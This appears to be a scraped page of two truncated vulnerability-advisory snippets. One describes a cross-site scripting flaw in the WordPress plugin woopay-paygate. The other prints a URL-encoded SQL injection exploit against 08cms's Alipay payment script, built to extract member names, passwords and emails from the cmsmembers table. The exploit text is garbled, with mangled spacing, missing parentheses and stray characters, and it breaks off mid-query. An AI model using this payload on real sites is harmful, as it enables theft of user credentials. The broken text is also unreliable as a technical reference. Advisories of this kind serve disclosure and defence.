Cross-site scripting vulnerability in wordpress plugin woopay-paygate

WordPress is a blogging platform developed using the PHP language, which supports personal blog sites on servers with PHP and MySQL. A cross-site scripting vulnerability exists in the Wordpress plugin woopay-paygate. The program fails to filter user-supplied input, allowing an attacker to constru...

08cms pay injection vulnerability-vulnerability warning-the black bar safety net

漏洞 也 include/paygate/alipay/pays.php Directly on the Exp /include/paygate/alipay/pays. php? outtradeno=2 2'%20AND%2 0SELECT%2 0 1%20FROMSELECT%20COUNT,CONCAT SELECT%20concat0x3a,mname,0x3a,password,0x3a,email,0x3a%20from%20cmsmembers %20limit%200,1,FLOORRAND02X%20FROM%20informationschema...